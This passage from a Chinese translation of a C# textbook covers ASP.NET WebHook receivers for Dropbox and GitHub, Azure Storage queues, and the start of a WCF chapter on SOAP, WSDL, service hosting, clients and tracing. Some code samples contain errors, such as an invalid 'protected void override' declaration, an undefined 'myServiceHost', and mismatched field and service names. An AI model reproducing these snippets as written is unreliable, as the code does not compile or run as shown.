config.Routes.MapHttpRoute( name: "DefaultApi", routeTemplate: "api/{controller}/{id}", defaults: new { id = RouteParameter.Optional } ); config.InitializeReceiveDropboxWebHooks(); config.InitializeReceiveGitHubWebHooks(); } } } 为了只允许接收定义的SaaS服务的消息,应使用密钥。可以通过应用程序设置配置这 些密钥。用于设置的键在NuGet包的代码中预定义。对于Dropbox,使用 MS_WebHookReceiverSecret_Dropbox键,对于GitHub使用 MS_WebHookReceiverSecret_GitHub键。这个密钥需要至少15个字符长。 如果想使用不同的Dropbox账户或不同的GitHub库,可以使用不同的密钥,通过标识 符定义多个密钥,如下面的代码段所示(代码文件 SaaSWebHooksReceiverSample/Web.config): <appSettings> <add key="webpages:Version" value="3.0.0.0" /> <add key="webpages:Enabled" value="false" /> <add key="ClientValidationEnabled" value="true" /> <add key="UnobtrusiveJavaScriptEnabled" value="true" /> <add key="MS_WebHookReceiverSecret_Dropbox" value="123451234512345123456789067890, dp1=987654321000987654321000988" /> <add key="MS_WebHookReceiverSecret_Github" value="123456789012345678901234567890, gh1=98765432109876543210, gh2=8765432109876543210" /> </appSettings> 43.6.3 实现处理程序 WebHook的功能在WebHookHandler中实现。在这个处理程序中可以做些什么呢?可 以把信息写入数据库、文件,以调用其他服务等。只是请注意,实现代码不需要执行太长 时间——几秒钟即可。如果实现代码需要执行太长时间,则发送器可能会重发请求。对于 更长时间的活动,最好把信息写入队列,在方法完成后遍历队列,例如使用一个后台进 程。 示例应用程序在接收事件时,会把一条消息写进Microsoft Azure Storage队列。要使用 这个队列系统,需要在http://portal.azure.com上创建一个Storage账户。在示例应用程序 中,Storage账户名为professionalcsharp。为了使用Microsoft Azure Storage,可以给项目添 加NuGet包WindowsAzure.Storage。 创建Azure Storage账户后,打开门户,复制账户名称和主要访问密钥,并将这些信息 添加到配置文件中(代码文件SaaSWebHooksSampleReceiver/web.config): <add key="StorageConnectionString" value="DefaultEndpointsProtocol=https; AccountName=add your account name; AccountKey=add your account key==" /> 要向队列发送消息,需要创建QueueManager。在构造函数中,读取配置文件中的配 置,创建一个CloudStorageAccount对象。CloudStorageAccount允许访问不同的Azure Storage设备,例如队列、表和blob存储。CreateCloudQueueClient方法返回一个 CloudQueueClient,它允许创建队列和把消息写入队列。如果队列不存在,它就由 CreateIfNotExists创建。队列的AddMessage写入一条消息(代码文件 SaaSWebHooksSampleReceiver/WebHookHandlers/QueueManager.cs): public class QueueManager { private CloudStorageAccount _storageAccount; public QueueManager() { _storageAccount = CloudStorageAccount.Parse( ConfigurationManager.AppSettings["StorageConnectionString"]); } public void WriteToQueueStorage(string queueName, string actions, string json) { CloudQueueClient client = _storageAccount.CreateCloudQueueClient(); CloudQueue queue = client.GetQueueReference(queueName); queue.CreateIfNotExists(); var message = new CloudQueueMessage(actions + "—-" + json); queue.AddMessage(message); } } 接下来,进入WebHook实现中最重要的部分:Dropbox和GitHub事件的自定义处理程 序。WebHook处理程序派生自基类WebHookHandler,重写了基类的抽象方法 ExecuteAsync。使用此方法,可从WebHook中收到接收器和上下文。接收器包含SaaS服务 的信息,例如示例代码中的github和dropbox。负责的接收器收到事件后,就一个接一个地 调用所有处理程序。如果每个处理程序都用于不同的服务,则最好首先检查接收器,比较 它和对应的服务,之后执行代码。在示例代码中,两个处理程序调用相同的功能,唯一的 区别是队列的名称不同。这里,只要一个处理程序就足够了。然而,基于SaaS服务,通常 有不同的实现,所以在示例代码中实现两个处理程序,每个都检查接收器的名称。使用 WebHookHandlerContext可以访问一组动作(这是触发WebHook的原因列表)、来自调用 者的请求的信息和从服务发送的JSON对象。动作和JSON对象被写入Azure Storage队列 (代码文件 SaaSWebHooksSampleReceiver/WebHookHandlers/GithubWebHookHandler.cs): public class GithubWebHookHandler: WebHookHandler { public override Task ExecuteAsync(string receiver, WebHookHandlerContext context) { if ("GitHub".Equals(receiver, StringComparison.CurrentCultureIgnoreCa se)) { QueueManager queue = null; try { queue = new QueueManager(); string actions = string.Join(", ", context.Actions); JObject incoming = context.GetDataOrDefault<JObject>(); queue.WriteToQueueStorage("githubqueue", actions, incoming.ToStri ng()); } catch (Exception ex) { queue? .WriteToQueueStorage("githubqueue", "error", ex.Message); } } return Task.FromResult<object>(null); } } 对于生产场景中的实现,可以从JSON对象中读取信息,并作出相应的反应。然而请 记住,在处理程序中应该用几秒钟完成这项工作。否则,服务会重新发送WebHook。这 种行为随提供者的不同而不同。 在实现的处理程序中,可以构建项目,将应用程序发布到Microsoft Azure。可以直接 从Visual Studio的Solution Explorer中发布。选择项目,选择Publish上下文菜单,再选择 Microsoft Azure App Service目标。  注意: 将网站发布到Microsoft Azure的内容参见第45章。 发布后,可以配置Dropbox和GitHub。对于这些配置,网站需要是公开可用的。 43.6.4 用Dropbox和GitHub配置应用程序 为了启用WebHooks和Dropbox,需要在Dropbox应用控制台中创建应用程序: https://www.dropbox.com/developers/apps,如图43-9所示。 图43-9 为了在Dropbox上接收WebHooks,需要注册网站的公共URI。通过Microsoft Azure托 管站点时,主机名是<hostname>.azurewebsites.net。接收器的服务 在/api/webhooks/incoming/provider上监听——例如,对于Dropbox是在 https://professionalcsharp.azurewebsites.net/api/webhooks/incoming/dropbox上。如果注册了 多个密钥,而不是其他密钥的URI,就把其密钥添加到URI中, 如/api/webhooks/incoming/dropbox/dp1。 Dropbox发送一个必须返回的挑战来验证有效的URI。可以使用接收器试一试,对于 Dropbox将接收器配置为访问URI:hostname/api/webhooks/incoming/dropbox/? challenge=12345,返回字符串12345。 为了启用WebHooks和GitHub,打开GitHub库的Settings选项卡(参见图43-10)。这 里需要添加一个负载链接,对于这个项目是 http://<hostname>/api/webhooks/incoming/github。同时,别忘了添加密钥,它必须与配置 文件中定义的相同。对于GitHub配置,可以从GitHub中选择application/json或基于表单的 application/x-www-form-urlencoded内容。使用事件,可以选择只接收推送事件、接收所有 事件或选择单个事件。 图43-10  注意: 如果使用ASP.NET Web App,就可以使用向导启用WebHooks和 GitHub。 43.6.5 运行应用程序 配置好公共Web应用程序后,因为改变了Dropbox文件夹或GitHub库,所以新消息会 到达Microsoft Azure Storage队列。在Visual Studio内部,可以使用Cloud Explorer直接访问 队列。在Storage Accounts树中选择Storage Accounts,可以看到Queues条目显示了生成的 所有队列。打开队列,可以看到消息,如图43-11所示。 图43-11 43.7 小结 本章描述了Web应用程序的发布/订阅机制。使用SignalR,可以轻松地利用WebSocket 技术,使网络连接保持打开状态,允许信息从服务器传递到客户端。SignalR也适用于老 客户端,因为如果WebSocket不可用,SignalR可以作为后备轮询。 本章了解了如何创建SignalR集线器,在JavaScript和.NET客户端上通信。 SignalR支持分组,所以服务器可以向一组客户端发送信息。 在示例代码中,演示了如何使用SignalR在多个客户端之间聊天。同样,可以在许多 其他场景中使用SignalR。例如,如果设备中的一些信息通过服务器调用Web API,那么就 可以用这些信息通知连接的客户端。 介绍WebHooks时,可以看到基于发布/订阅机制的另一个技术。WebHooks与SignalR 不同,因为它只能用于带有公共互联网地址的接收器,而发送器(通常是SaaS服务)通过 调用Web服务来发布信息。由于WebHooks的功能,许多SaaS服务都提供了它,因此很容 易创建接收器,从这些服务中接收信息。 为了让WebHooks转发到防火墙后面的客户端,可以把WebHooks与SignalR结合起 来。只需要把WebHook信息传递给连接的SignalR客户端。 下一章介绍WCF的信息,这是一个成熟的技术,它基于SOAP,提供了先进的通信功 能。 第44章 WCF 本章要点 ● WCF概述 ● 创建简单的服务和客户端 ● 定义服务、操作、数据和消息协定 ● 服务的实现 ● 对通信使用绑定 ● 创建服务的不同宿主 ● 通过服务引用和编程方式创建客户端 ● 使用双工通信 ● 使用路由 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● 简单的服务和客户端 ● WebSocket ● 双工通信 ● 路由 44.1 WCF概述 第42章介绍了ASP.NET Web API,这个通信技术基于Representational State Transfer(REST)。用于客户端和服务器之间通信的老大哥是Windows Communication Foundation(WCF)。这项技术最初在.NET 3.0中引入,替换了一些不同的技术,如 在.NET应用程序和ASP.NET Web Services之间快速通信的.NET Remoting和用于独立于平 台进行通信的Web Services Enhancements(WSE)。如今,WCF相比ASP.NET Web API要 复杂得多,也提供了更多的功能,如可靠性、事务和Web服务安全性。如果不需要任何这 些先进的通信功能,ASP.NET Web API可能是更好的选择。WCF对于这些额外的功能而 言很重要,而且还支持旧应用程序。 本章用到的名称空间是System.ServiceModel。  注意: 尽管本书的大多数章节都基于新的.NET Framework堆栈——.NET Core 1.0,但本章需要完整的框架。WCF的客户端部分可用于.NET Core,但服务器端 需要完整的.NET Framework。在这些示例中,使用了.NET 4.6。不过作者还是会尽可能 使用.NET Core。用于定义协定和数据访问的库是使用.NET Core构建的。 WCF的功能包括: ● 存储组件和服务 ——与联合使用自定义主机、.NET Remoting和WSE一样,也可以 将WCF服务存放在ASP.NET运行库、Windows服务、COM+进程或WPF应用程序 中,进行对等计算。 ● 声明行为 ——不要求派生自基类(.NET Remoting和Enterprise Services有这个要 求),而可以使用属性定义服务。这类似于用ASP.NET开发的Web服务。 ● 通信信道 ——在改变通信信道方面,.NET Remoting非常灵活,WCF也不错,因为 它提供了相同的灵活性。WCF提供了用HTTP、TCP和IPC信道进行通信的多条信 道。也可以创建使用不同传输协议的自定义信道。 ● 安全结构 ——为了实现独立于平台的Web服务,必须使用标准化的安全环境。所 提出的标准用WSE 3.0实现,这在WCF中被继承下来。 ● 可扩展性 ——.NET Remoting有丰富的扩展功能。它不仅能创建自定义信道、格式 化程序和代理,还能将功能注入客户端和服务器上的消息流。WCF提供了类似的 可扩展性。但是,WCF的扩展性用SOAP标题创建。 最终目标是通过进程或不同的系统、通过本地网络或通过Internet收发客户端和服务 之间的消息。如果需要以独立于平台的方式尽快收发消息,就应这么做。在远距离视图 上,服务提供了一个端点,它用协定、绑定和地址来描述。协定定义了服务提供的操作, 绑定给出了协议和编码信息,地址是服务的位置。客户端需要一个兼容的端点来访问服 务。 图44-1显示了参与WCF通信的组件。 图44-1 客户端调用代理上的一个方法。代理提供了服务定义的方法,但把方法调用转换为一 条消息,并把该消息传输到信道上。信道有一个客户端部分和一个服务器端部分,它们通 过一个网络协议来通信。在信道上,把消息传递给调度程序,调度程序再把消息转换为用 服务调用的方法调用。 WCF支持几个通信协议。为了进行独立于平台的通信,需要支持Web服务标准。要 在.NET应用程序之间通信,可以使用较快的通信协议,其系统开销较小。 第42章描述了HTTP上的通信使用REST编程样式,用JSON格式传递对象,还用 Swagger描述了服务API。在WCF中,还有几个重要的技术:SOAP是一个独立于平台的协 议,它是几个Web服务规范的基础,支持安全性、事务和可靠性。WSDL(Web Services Description Language, Web服务描述语言)提供了描述服务的元数据。 44.1.1 SOAP 为了进行独立于平台的通信,可以使用SOAP协议,它得到WCF的直接支持。SOAP 最初是Simple Object Access Protocol的缩写,但自SOAP 1.2以来,就不再是这样了。 SOAP不再是一个对象访问协议,因为可以发送用XML架构定义的消息。现在它不是这个 缩写词了,SOAP就是SOAP。 服务从客户端中接收SOAP消息,并返回一条SOAP响应消息。SOAP消息包含信封, 信封包含标题和正文。 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> <s:Header> </s:Header> <s:Body> <ReserveRoom xmlns="http://www.cninnovation.com/RoomReservation/2015"> <roomReservation xmlns:a= "http://schemas.datacontract.org/2004/07/Wrox.ProCSharp.WCF.Contracts" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"> <a:Contact>UEFA</a:Contact> <a:EndTime>2015-07-28T22:00:00</a:EndTime> <a:Id>0</a:Id> <a:RoomName>Athens</a:RoomName> <a:StartTime>2015-07-28T20:00:00</a:StartTime> <a:Text>Panathinaikos-Club Brugge</a:Text> </roomReservation> </ReserveRoom> </s:Body> </s:Envelope> 标题是可选的,可以包含寻址、安全性和事务信息。正文包含消息数据。 44.1.2 WSDL WSDL(Web Services Description Language, Web服务描述语言)文档描述了服务的操 作和消息。WSDL定义了服务的元数据,这些元数据可用于为客户端应用程序创建代理。 WSDL包含如下信息: ● 消息的类型——用XML架构描述。 ● 从服务中收发的消息——消息的各部分是用XML架构定义的类型。 ● 端口类型——映射服务协定,列出了用服务协定定义的操作。操作包含消息,例如 与请求和响应序列一起使用的输入和输出消息。 ● 绑定信息——包含用端口类型列出的操作并定义使用的SOAP变体。 ● 服务信息——把端口类型映射到端点地址。  注意: 在WCF中,WSDL信息由MEX(Metedata Exchange,元数据交换)端 点提供。 44.2 创建简单的服务和客户端 在详细介绍WCF之前,首先看一个简单的服务。该服务用于预订会议室。 要存储会议室预订信息,应使用一个简单的SQL Server数据库和RoomReservations 表。可以使用Entity Framework Migrations创建这个数据库和示例应用程序。 下面是创建服务和客户端的步骤: (1)创建服务和数据协定。 (2)使用Entity Framework Core创建访问数据库的库。 (3)实现服务。 (4)使用WCF服务宿主(Service Host)和WCF测试客户端(Test Client)。 (5)创建定制的服务宿主。 (6)使用元数据创建客户应用程序。 (7)使用共享的协定创建客户应用程序。 (8)配置诊断设置。 44.2.1 定义服务和数据协定 首先,创建一个新的解决方案RoomReservation,在其中添加一个新的类库项目,命 名为RoomReservationContracts。 RoomReservationContracts库的示例代码使用如下依赖项和名称空间: 依赖项 System.ComponentModel.DataAnnotations System.Runtime.Serialization System.ServiceModel 名称空间 System System.Collections.Generic System.ComponentModel System.ComponentModel.DataAnnotations System.Runtime.CompilerServices System.Runtime.Serialization System.ServiceModel 创建一个新类RoomReservation。这个类包含属性Id、RoomName、StartTime、 EndTime、Contact和Text来定义数据库中需要的数据,并在网络中传送。要通过WCF服务 发送数据,应通过DataContract和DataMember特性对该类进行注解。 System.ComponentModel.DataAnnotations名称空间中的StringLength属性不仅可用于验证用 户输入,还可以在创建数据库表时定义列的模式(代码文件 RoomReservation/RoomReservationContracts/RoomReservation.cs)。 using System; using System.Collections.Generic; using System.ComponentModel; using System.ComponentModel.DataAnnotations; using System.Runtime.CompilerServices; using System.Runtime.Serialization; namespace Wrox.ProCSharp.WCF.Contracts { [DataContract] public class RoomReservation : INotifyPropertyChanged { private int _id; [DataMember] public int Id { get { return _id; } set { SetProperty(ref _id, value); } } private string _roomName; [DataMember] [StringLength(30)] public string RoomName { get { return _roomName; } set { SetProperty(ref _roomName, value); } } private DateTime _startTime; [DataMember] public DateTime StartTime { get { return _startTime; } set { SetProperty(ref _startTime, value); } } private DateTime _endTime; [DataMember] public DateTime EndTime { get { return _endTime; } set { SetProperty(ref _endTime, value); } } private string _contact; [DataMember] [StringLength(30)] public string Contact { get { return _contact; } set { SetProperty(ref _contact, value); } } private string _text; [DataMember] [StringLength(50)] public string Text { get { return _text; } set { SetProperty(ref _text, value); } } protected virtual void OnNotifyPropertyChanged(string propertyName) { PropertyChanged? .Invoke(this, new PropertyChangedEventArgs(propertyName)); } protected virtual void SetProperty<T>(ref T item, T value, [CallerMemberName] string propertyName = null) { if (! EqualityComparer<T>.Default.Equals(item, value)) { item = value; OnNotifyPropertyChanged(propertyName); } } public event PropertyChangedEventHandler PropertyChanged; } } 接着创建服务协定,服务提供的操作可以通过接口来定义。IRoomService接口定义了 ReserveRoom和GetRoomReservations方法。服务协定用ServiceContract特性定义。由服务 定义的操作应用了OperationContract特性(代码文件 RoomReservation/RoomReservationContracts/IRoomService.cs)。 using System; using System.ServiceModel; namespace Wrox.ProCSharp.WCF.Contracts { [ServiceContract( Namespace="http://www.cninnovation.com/RoomReservation/2016")] public interface IRoomService { [OperationContract] bool ReserveRoom(RoomReservation roomReservation); [OperationContract] RoomReservation[] GetRoomReservations(DateTime fromTime, DateTime toTime) ; } } 44.2.2 数据访问 接着,创建一个库RoomReservationData,通过Entity Framework 6.1来访问、读写数据 库中的预订信息。定义实体的类已经用RoomReservationContracts程序集定义好了,所以 需要引用这个程序集。另外还需要NuGet包Microsoft.EntityFrameworkCore和 Microsoft.EntityFrameworkCore.SqlServer。 RoomReservationData库的示例代码使用如下依赖项和名称空间: 依赖项 Microsoft.EntityFrameworkCore Microsoft.EntityFrameworkCore.Commands Microsoft.EntityFrameworkCore.SqlServer 名称空间 Microsoft.EntityFrameworkCore System System.Linq Wrox.ProCSharp.WCF.Contracts 现在可以创建RoomReservationContext类。这个类派生于基类DbContext,用作 ADO.NET Entity Framework的上下文,还定义了一个属性RoomReservations,返回 DbSet<RoomReservation>(代码文件 RoomReservation/RoomReservationData/RoomReservationContext.cs)。 using Microsoft.EntityFrameworkCore; using Wrox.ProCSharp.WCF.Contracts; namespace Wrox.ProCSharp.WCF.Data { public class RoomReservationContext : DbContext { protected void override OnConfiguring( DbContextOptionsBuilder optionsBuilder) { optionsBuilder.UseSqlServer(@"server=(localdb)\mssqllocaldb; " + @"Database=RoomReservation; trusted_connection=true"); } public DbSet<RoomReservation> RoomReservations { get; set; } } } Entity Framework定义了OnConfiguring方法和可以配置数据上下文的DbContext。 UseSqlServer扩展方法(在NuGet包EntityFramework.MicrosoftSqlServer内定义)允许设置 数据库的连接字符串。 创建数据库的命令取决于是创建.NET 4.6类库还是.NET Core类库。对于.NET 4.6类 库,可以使用NuGet Package Manager Console创建数据库并应用以下命令。使用Add- Migration命令,在项目中创建Migrations文件夹,其中的代码用于创建表 RoomReservation。Update-Database命令运用迁移并创建数据库。 > Add-Migration InitRoomReservation > Update-Database 服务实现使用的功能用RoomReservationRepository类定义。ReserveRoom方法将一条 会议室预订记录写入数据库。GetReservations方法返回指定时间段的RoomReservation集合 (代码文件RoomReservation/RoomReservationData/RoomReservationRepository.cs)。 using System; using System.Linq; using Wrox.ProCSharp.WCF.Contracts; namespace Wrox.ProCSharp.WCF.Data { public class RoomReservationRepository { public void ReserveRoom(RoomReservation roomReservation) { using (var data = new RoomReservationContext()) { data.RoomReservations.Add(roomReservation); data.SaveChanges(); } } public RoomReservation[] GetReservations(DateTime fromTime, DateTime toTime) { using (var data = new RoomReservationContext()) { return (from r in data.RoomReservations where r.StartTime > fromTime && r.EndTime < toTime select r).ToArray(); } } } }  注意: ADO.NET Entity Framework详见第38章,包括用.NET Core项目配置 迁移。 44.2.3 服务的实现 现在开始实现服务。创建一个WCF服务库RoomReservationService。这个库默认包含 服务协定和服务实现。如果客户应用程序只使用元数据信息来创建访问服务的代理,则这 个模型是可用的。但是,如果客户端直接使用协定类型,则最好把协定放在一个独立的程 序集中,如本例所示。在第一个已完成的客户端,代理是通过元数据创建的。后面将介绍 如何创建客户端来共享协定程序集。把协定和实现分开是共享协定的一个准备工作。 RoomReservationService服务类实现了IRoomService接口。实现服务时,只需要调用 Room-ReservationData类的相应方法(代码文件 RoomReservation/RoomReservationService/RoomReservation-Service.cs)。 using System; using System.ServiceModel; using Wrox.ProCSharp.WCF.Contracts; using Wrox.ProCSharp.WCF.Data; namespace Wrox.ProCSharp.WCF.Service { [ServiceBehavior(InstanceContextMode = InstanceContextMode.PerCall)] public class RoomReservationService : IRoomService { public bool ReserveRoom(RoomReservation roomReservation) { var data = new RoomReservationRepository(); data.ReserveRoom(roomReservation); return true; } public RoomReservation[] GetRoomReservations(DateTime fromTime, DateTime toTime) { var data = new RoomReservationRepository(); return data.GetReservations(fromTime, toTime); } } } 图44-2显示了前面创建的程序集及其依赖关系。RoomReservationContracts程序集由 Room-ReservationData和RoomReservationService使用。 图44-2 44.2.4 WCF服务宿主和WCF测试客户端 WCF Service Library项目模板创建了一个应用程序配置文件App.config,它需要适用 于新类名和新接口名。service元素引用了包含名称空间的服务类型 RoomReservationService,协定接口需要用endpoint元素定义(配置文件 RoomReservation/RoomReservationService/app.config)。 <? xml version="1.0" encoding="utf-8" ? > <configuration> <system.web> <compilation debug="true" /> </system.web> <system.serviceModel> <services> <service name="Wrox.ProCSharp.WCF.Service.RoomService"> <endpoint address="" binding="basicHttpBinding" contract="Wrox.ProCSharp.WCF.Service.IRoomService"> <identity> <dns value="localhost" /> </identity> </endpoint> <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" /> <host> <baseAddresses> <add baseAddress= "http://localhost:8733/Design_Time_Addresses/RoomReservationService/Service1/ " /> </baseAddresses> </host> </service> </services> <behaviors> <serviceBehaviors> <behavior> <serviceMetadata httpGetEnabled="True" httpsGetEnabled="True"/> <serviceDebug includeExceptionDetailInFaults="False" /> </behavior> </serviceBehaviors> </behaviors> </system.serviceModel> </configuration>  注意: 服务地址http://localhost:8731/Design_Time_Addresses有一个关联的访 问控制列表(ACL),它允许交互式用户创建一个监听端口。默认情况下,非管理员 用户不允许在监听模式下打开端口。使用命令行实用程序netsh http show urlacl可以查看 ACL,用netsh http add urlacl url=http://+:8080/MyURI user=someUser listen=yes添加新 项。 从Visual Studio 2015中启动这个库会启动WCF服务宿主,它显示为任务栏的通知区域 中的一个图标。单击这个图标会打开WCF服务宿主窗口,如图44-3所示。在其中可以查看 服务的状态。WCF库应用程序的项目属性包含WCF选项的选项卡,在其中可以选择运行 同一个解决方案中的项目时是否启动WCF服务宿主。默认打开这个选项。另外在项目属 性的调试配置中,会发现已定义了命令行参数/client:"WcfTestClient.exe"。WCF服务主机 使用这个选项会启动WCF测试客户端,如图44-4所示,该测试客户端可用于测试应用程 序。双击一个操作,输入字段会显示在应用程序的右边,可以在其中填充要发送给服务的 数据。单击XML选项卡,可以看到已收发的SOAP消息。 图44-3 图44-4 44.2.5 自定义服务宿主 使用WCF可以在任意宿主上运行服务。可以为对等服务创建一个WPF应用程序。可 以创建一个Windows服务,或者用Windows Activation Services(WAS)或Internet Information Services(IIS)存放该服务。控制台应用程序也适合于演示简单的自定义宿 主。 对于服务宿主,必须引用RoomReservationService库和System.ServiceModel程序集。 该服务首先实例化和打开ServiceHost类型的对象。这个类在System.ServiceModel名称空间 中定义。实现该服务的RoomReservationService类在构造函数中定义。调用Open方法会启 动服务的监听器信道,该服务准备用于监听请求。Close方法会停止信道。下面的代码段 还添加了ServiceMetadataBehavior类型的一个操作。添加该操作,就允许使用WSDL创建 一个客户应用程序(代码文件RoomReservation/RoomReservationHost/Program.cs): using System; using System.ServiceModel; using System.ServiceModel.Description; using Wrox.ProCSharp.WCF.Service; using static System.Console; namespace Wrox.ProCSharp.WCF.Host { class Program { internal static ServiceHost s_ServiceHost = null; internal static void StartService() { try { s_ServiceHost = new ServiceHost(typeof(RoomReservationService), new Uri("http://localhost:9000/RoomReservation")); s_ServiceHost.Description.Behaviors.Add( new ServiceMetadataBehavior { HttpGetEnabled = true }); myServiceHost.Open(); } catch (AddressAccessDeniedException) { WriteLine("either start Visual Studio in elevated admin " + "mode or register the listener port with netsh.exe"); } } internal static void StopService() { if (s_ServiceHost ! = null && s_ServiceHost.State == CommunicationState.Opened) { s_ServiceHost.Close(); } } static void Main() { StartService(); WriteLine("Server is running. Press return to exit"); ReadLine(); StopService(); } } } 对于WCF配置,需要把用服务库创建的应用程序配置文件复制到宿主应用程序中。 使用WCF Service Configuration Editor可以编辑这个配置文件,如图44-5所示。 图44-5 除了使用配置文件之外,还可以通过编程方式配置所有内容,并使用几个默认值。宿 主应用程序的示例代码不需要任何配置文件。ServiceHost构造函数的第二个参数定义了服 务的基地址。通过这个基地址的协议来定义默认绑定。HTTP的默认值是 BasicHttpBinding。 使用自定义服务宿主,可以在WCF库的项目设置中取消用来启动WCF服务宿主的 WCF选项。 44.2.6 WCF客户端 对于客户端,WCF可以灵活选择所使用的应用程序类型。客户端可以是一个简单的 控制台应用程序。但是,对于预订会议室,应创建一个包含控件的简单的WPF应用程 序,如图44-6所示。 图44-6 因为服务宿主用ServiceMetadataBehavior配置,所以它提供了一个MEX端点。启动服 务宿主后,就可以在Visual Studio中添加一个服务引用。在添加服务引用后,会弹出如图 44-7所示的对话框。用URL http://localhost:9000/RoomReservation? wsdl输入服务元数据的 链接,把名称空间设置为RoomReservationService。这将为生成的代理类定义名称空间。 图44-7 添加服务引用会添加对System.Runtime.Serialization和System.ServiceModel程序集的引 用,还会添加一个包含绑定信息和服务端点地址的配置文件。 根据数据协定把RoomReservation生成为一个部分类。这个类包含协定的所有 [DataMember]元素。RoomServiceClient类是客户端的代理,该客户端包含由操作协定定义 的方法。使用这个客户端,可以将会议室预订信息发送给正在运行的服务。 在代码文件RoomReservation/RoomReservationClient/MainWindow.xaml.cs中,通过按 钮的Click事件调用OnReserveRoom方法。通过服务代理调用ReserveRoomAsync。 reservation变量通过数据绑定接收UI的数据。 public partial class MainWindow : Window { private RoomReservation _reservation; public MainWindow() { InitializeComponent(); reservation = new RoomReservation { StartTime = DateTime.Now, EndTime = DateTime.Now.AddHours(1) }; this.DataContext = _reservation; } private async void OnReserveRoom(object sender, RoutedEventArgs e) { var client = new RoomServiceClient(); bool reserved = await client.ReserveRoomAsync(reservation); client.Close(); if (reserved) { MessageBox.Show("reservation ok"); } } } 在RoomReservation解决方案的设置中,可以配置多个启动项目,在本例中是 RoomReservation-Client和RoomReservationHost。运行服务和客户端,就可以将会议室预 订信息添加到数据库中。 44.2.7 诊断 运行客户端和服务应用程序时,知道后台发生了什么很有帮助。为此,WCF使用一 个需要配置的跟踪源。可以使用Service Configuration Editor,选择Diagnostics节点,启用 Tracing and Message Logging功能来配置跟踪。把跟踪源的跟踪级别设置为Verbose会生成 非常详细的信息。这个配置更改把跟踪源和监听器添加到应用程序配置文件中,如下所 示: <? xml version="1.0" encoding="utf-8" ? > <configuration> <connectionStrings> <add name="RoomReservation" providerName="System.Data.SqlClient" connectionString="Server=(localdb)\mssqllocaldb; Database=RoomReservati on; Trusted_Connection=true; MultipleActiveResultSets=True" /> </connectionStrings> <system.diagnostics> <sources> <source name="System.ServiceModel.MessageLogging" switchValue="Verbose, ActivityTracing"> <listeners> <add type="System.Diagnostics.DefaultTraceListener" name="Default"> <filter type="" /> </add> <add name="ServiceModelMessageLoggingListener"> <filter type="" /> </add> </listeners> </source> <source propagateActivity="true" name="System.ServiceModel" switchValue="Warning, ActivityTracing"> <listeners> <add type="System.Diagnostics.DefaultTraceListener" name="Default"> <filter type="" /> </add> <add name="ServiceModelTraceListener"> <filter type="" /> </add> </listeners> </source> </sources> <sharedListeners> <add initializeData= "c:\logs\wcf\roomreservation\roomreservationhost\app_messages.svclog" type="System.Diagnostics.XmlWriterTraceListener, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" name="ServiceModelMessageLoggingListener" traceOutputOptions="DateTime, Timestamp, ProcessId, ThreadId"> <filter type="" /> </add> <add initializeData= "c:\logs\wcf\roomreservation\roomreservationhost\app_tracelog.svclog" type="System.Diagnostics.XmlWriterTraceListener, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" name="ServiceModelTraceListener" traceOutputOptions="DateTime, Timestamp, ProcessId, ThreadId"> <filter type="" /> </add> </sharedListeners> </system.diagnostics> <startup> <supportedRuntime version="v4.0" sku=".NETFramework, Version=v4.6" /> </startup> <system.serviceModel> <diagnostics> <messageLogging logEntireMessage="true" logMalformedMessages="true" logMessagesAtTransportLevel="true" /> <endToEndTracing propagateActivity="true" activityTracing="true" messageFlowTracing="true" /> </diagnostics> </system.serviceModel> </configuration>  注意: WCF类的实现使用System.ServiceModel和 System.ServiceModel.MessageLogging跟踪源来写入跟踪消息。跟踪和配置跟踪源及监 听器的更多内容详见第20章。 启动应用程序时,使用verbose跟踪设置的跟踪文件会很快变得很大。为了分析XML 日志文件中的信息,.NET SDK包含了一个Service Trace Viewer工具svctraceviewer.exe。图 44-8显示了输入一些数据的客户应用程序,图44-9显示了这个工具选择跟踪和消息日志文 件后的视图。BasicHttpBinding用传送来的信息突出显示。如果把配置改为使用 WsHttpBinding,就会看到许多消息都与安全性相关。根据安全性需求,可以选择其他配 置选项。 图44-8 图44-9 下面详细介绍WCF的细节和不同的选项。 44.2.8 与客户端共享协定程序集 在前面的WPF客户应用程序中,使用元数据创建了一个代理类,用Visual Studio添加 了一个服务引用。客户端也可以用共享的协定程序集来创建,如下所示。使用协定接口和 ChannelFactory<TChannel>类来实例化连接到服务的通道。 类ChannelFactory<TChannel>的构造函数接受绑定配置和端点地址作为参数。绑定必 须与服务宿主定义的绑定兼容,用EndPointAddress类定义的地址引用了当前运行的服务的 URI。CreateChannel方法创建了一个连接到服务的通道,接着就可以调用服务的方法了 (代码文件 RoomReservation/RoomReservationClientSharedAssembly/MainWindow.xaml.cs)。 using System; using System.ServiceModel; using System.Windows; using Wrox.ProCSharp.WCF.Contracts; namespace RoomReservationClientSharedAssembly { public partial class MainWindow : Window { private RoomReservation _roomReservation; public MainWindow() { InitializeComponent(); _roomReservation = new RoomReservation { StartTime = DateTime.Now, EndTime = DateTime.Now.AddHours(1) }; this.DataContext = _roomReservation; } private void OnReserveRoom(object sender, RoutedEventArgs e) { var binding = new BasicHttpBinding(); var address = new EndpointAddress( "http://localhost:9000/RoomReservation"); var factory = new ChannelFactory<IRoomService>(binding, address); IRoomService channel = factory.CreateChannel(); if (channel.ReserveRoom(_roomReservation)) { MessageBox.Show("success"); } } } } 44.3 协定 协定定义了服务提供的功能和客户端可以使用的功能。协定可以完全独立于服务的实 现。 由WCF定义的协定可以分为4种不同的类型:数据协定、服务协定、消息协定和错误 协定。协定可以用.NET特性来指定: ● 数据协定——数据协定定义了从服务中接收和返回的数据。用于收发消息的类关联 了数据协定特性。 ● 服务协定——服务协定用于定义描述了服务的WSDL。这个协定用接口或类定义。 ● 操作协定——操作协定定义了服务的操作,在服务协定中定义。 ● 消息协定——如果需要完全控制SOAP消息,那么消息协定就可以指定应放在SOAP 标题中的数据以及放在SOAP正文中的数据。 ● 错误协定——错误协定定义了发送给客户端的错误消息。 下面几节将详细探讨这些协定类型,并进一步讨论定义协定时应考虑的版本问题。 44.3.1 数据协定 在数据协定中,把CLR类型映射到XML架构。数据协定不同于其他.NET序列化机 